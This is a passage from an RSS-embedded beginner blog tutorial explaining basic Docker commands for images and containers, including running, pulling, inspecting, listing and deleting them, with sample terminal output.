      <title>The Most Useful and Basic Docker commands</title>
      <link>https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/</link>
      <pubDate>Wed, 07 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you read the previous post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/&#34;&gt;what Docker is for&lt;/a&gt;&#xA; you should already have a pretty simple idea of Docker, but I haven&amp;rsquo;t posted anything about the most basic docker commands. Here I explain them in detail, and also how to use volumes along with Dockerfiles to automate your container&amp;rsquo;s creation process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;images-and-containers-are-different&#34;&gt;Images and containers are different&lt;/h2&gt;&#xA;&lt;p&gt;Before we start, it is necessary to clarify that in Docker we work with containers that are created from images. An image is like a read-only template, while the container is the materialization of that template, you could say that it is an instantiated or running image.&lt;/p&gt;&#xA;&lt;p&gt;You can think of images and containers &lt;strong&gt;as classes and their instances in OOP&lt;/strong&gt;, respectively.&lt;/p&gt;&#xA;&lt;p&gt;If you are interested in knowing how a container works at the code level, I have a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;how to create a container from scratch using Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;basic-docker-commands-for-containers&#34;&gt;Basic Docker commands for containers&lt;/h2&gt;&#xA;&lt;h2 id=&#34;running-a-docker-container&#34;&gt;Running a docker container&lt;/h2&gt;&#xA;&lt;p&gt;To run a container we will use the run command and the name of the image from which it will be derived. You can specify what you want your container to be called with the &lt;em&gt;&amp;ndash;name&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name &amp;lt;container_name&amp;gt; hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hello from Docker!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This message shows that your installation appears to be working correctly.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the above command, Docker will download the hello-world image and create a container, this container will run, perform its function and finish executing.&lt;/p&gt;&#xA;&lt;h2 id=&#34;download-an-image&#34;&gt;Download an image&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;If you just want to pull an image to make it available, without running it, you can use the command docker pull, followed by the image name.&lt;/p&gt;&#xA;&lt;p&gt;This command will fetch an image from the repositories and download it to your system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker pull hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Using default tag: latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;latest: Pulling from library/hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Digest: sha256:4cf9c47f86df71d48364001ede3a4fcd85ae80ce02ebad74156906caff5378bc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;search-for-an-image&#34;&gt;Search for an image&lt;/h2&gt;&#xA;&lt;p&gt;The hello-world image is probably the most boring image out there and you&amp;rsquo;ll definitely want to look for an image that does more than just print text on the screen.&lt;/p&gt;&#xA;&lt;p&gt;To search for an image we can use the docker search command. What this command does is to connect to docker hub and search for the image that we indicate.&lt;/p&gt;&#xA;&lt;p&gt;On Dockerhub there are mysql images, nginx images, alpine linux images, python images, django images, wordpress images, ghost images and just about any other technology, and combinations thereof, you can name.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker search nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NAME DESCRIPTION STARS OFFICIAL AUTOMATED&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nginx Official build of Nginx. &lt;span style=&#34;color:#ff9f43&#34;&gt;13802&lt;/span&gt;               &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;                &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jwilder/nginx-proxy Automated Nginx reverse proxy &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; docker con…   &lt;span style=&#34;color:#ff9f43&#34;&gt;1885&lt;/span&gt;                                    &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;richarvey/nginx-php-fpm Container running Nginx + PHP-FPM capable of…   &lt;span style=&#34;color:#ff9f43&#34;&gt;787&lt;/span&gt;                                     &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the other hand, if you prefer to do it in a more visual way you can visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://hub.docker.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Docker hub&lt;/a&gt;&#xA;. There you can get any kind of&#xA;image you can imagine, even upload your own. Take a look around and see all the options that are available for download. We won&amp;rsquo;t be downloading any others for now.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/Docker-hub.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/Docker-hub.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot from Dockerhub, the official repository for Docker images&#34; width=&#34;1350&#34; height=&#34;618&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;see-images&#34;&gt;See images&lt;/h2&gt;&#xA;&lt;p&gt;If we now run docker images our downloaded image will appear. Look at the low size of the image, it weighs only 13.3kB! Also look at the IMAGE ID** column. Each image, including custom images, has a unique id that represents it and a tag**.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker images&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REPOSITORY TAG IMAGE ID CREATED SIZE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hello-world latest bf756fb1ae65 &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; months ago 13.3kB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;inspect-a-docker-image&#34;&gt;Inspect a docker image&lt;/h2&gt;&#xA;&lt;p&gt;To inspect an image just use docker inspect, followed by the image name or id. Docker will print information related to the image in JSON format.&lt;/p&gt;&#xA;&lt;p&gt;With docker inspect we will be able to see its environment variables, startup commands, associated volumes, architecture and many other features.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker inspect hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:bf756fb1ae65adf866bd8c456593cd24beb6a0a061dedf42b26a993176745f6b&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RepoTags&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello-world:latest&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ...&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;history-of-an-image&#34;&gt;History of an image&lt;/h2&gt;&#xA;&lt;p&gt;Docker history shows us the history of an image; the commands that have been executed and their respective triggers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt; hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IMAGE CREATED CREATED BY SIZE COMMENT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bf756fb1ae65 &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; months ago        /bin/sh -c &lt;span style=&#34;color:#78787e&#34;&gt;#(nop)  CMD [&amp;#34;/hello&amp;#34;]               0B&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;delete-a-docker-image&#34;&gt;Delete a docker image&lt;/h2&gt;&#xA;&lt;p&gt;To delete an image there is the &lt;em&gt;rmi&lt;/em&gt; command, yes like &lt;em&gt;rm&lt;/em&gt;, but with the i in &amp;ldquo;image&amp;rdquo; below, we will need either its id or its repository and its tag separated by a colon &amp;ldquo;:&amp;rdquo;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi repository:tag&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi &amp;lt;image_id&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you wanted to delete the hello-world image it would be as follows. Typing docker rmi, followed by the name of the image followed by a colon from its tag.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi hello-world:latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;view-docker-processes&#34;&gt;View Docker processes&lt;/h2&gt;&#xA;&lt;p&gt;If we want to see the executed processes we use docker ps with the &lt;em&gt;-a&lt;/em&gt; option. &lt;strong&gt;Please note that our container has an id and also a name&lt;/strong&gt;, which is generated by Docker automatically if we don&amp;rsquo;t specify it, in this case &amp;ldquo;lucid_morse&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0f100ae4a21e hello-world        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/hello&amp;#34;&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago Exited &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago lucid_morse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we remove the &lt;em&gt;-a&lt;/em&gt; option, it will show only the active processes. As the container we created from the hello-world image finished running it will not appear in this list.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;delete-a-container-when-finished-running-it&#34;&gt;Delete a container when finished running it&lt;/h2&gt;&#xA;&lt;p&gt;Each time we run docker run a new container is created. To avoid getting full of containers we can delete them automatically when they finish their execution using the &lt;em&gt;&amp;ndash;rm&lt;/em&gt; option after docker run. Try running the hello-world image again.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --rm hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you now run docker ps -a again, you will see that &lt;strong&gt;no additional container&lt;/strong&gt; has been created to the one we already had.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0f100ae4a21e hello-world        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/hello&amp;#34;&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago Exited &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago lucid_morse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;delete-a-container&#34;&gt;Delete a container&lt;/h2&gt;&#xA;&lt;p&gt;To delete containers, you can use the &lt;em&gt;docker rm&lt;/em&gt; command, with the container name or id.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm &amp;lt;container_name_or_id&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-delete-all-docker-containers&#34;&gt;How to delete all docker containers&lt;/h2&gt;&#xA;&lt;p&gt;It is quite common to want to delete all containers in Docker. **To do this we need to get all the container ids.&lt;/p&gt;&#xA;&lt;p&gt;If you run the following command you will see a list of all the container ids printed. That&amp;rsquo;s right, it is the same command that we executed previously to see all the Docker processes, the &lt;em&gt;-q&lt;/em&gt; option makes it only show us the ids of those processes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -aq&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;8344e4d39fbf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;42174ad3810d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have all the ids, we can use this list with the docker rm command to delete all the containers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;docker ps -aq&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;accessing-the-terminal-in-a-container&#34;&gt;Accessing the terminal in a container&lt;/h2&gt;&#xA;&lt;p&gt;The following command will introduce us into a container created from an image. Technically what docker run -it does is to link the standard input (STDIN) of our operating system with the standard input (STDIN) of our container. This allows us to run a container that we can interact with.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -it &amp;lt;container&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Notice how the terminal prompt will change&lt;/strong&gt; and we will find ourselves in a terminal from which we will be able to interact.&lt;/p&gt;&#xA;&lt;p&gt;Try running an &lt;em&gt;ls&lt;/em&gt; or &lt;em&gt;pwd&lt;/em&gt;. You will notice that you are inside a GNU/Linux operating system. You can create files, modify them, create folders, etc.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know anything about GNU/Linux commands you can check my post about the &#xA;&#xA;&lt;a 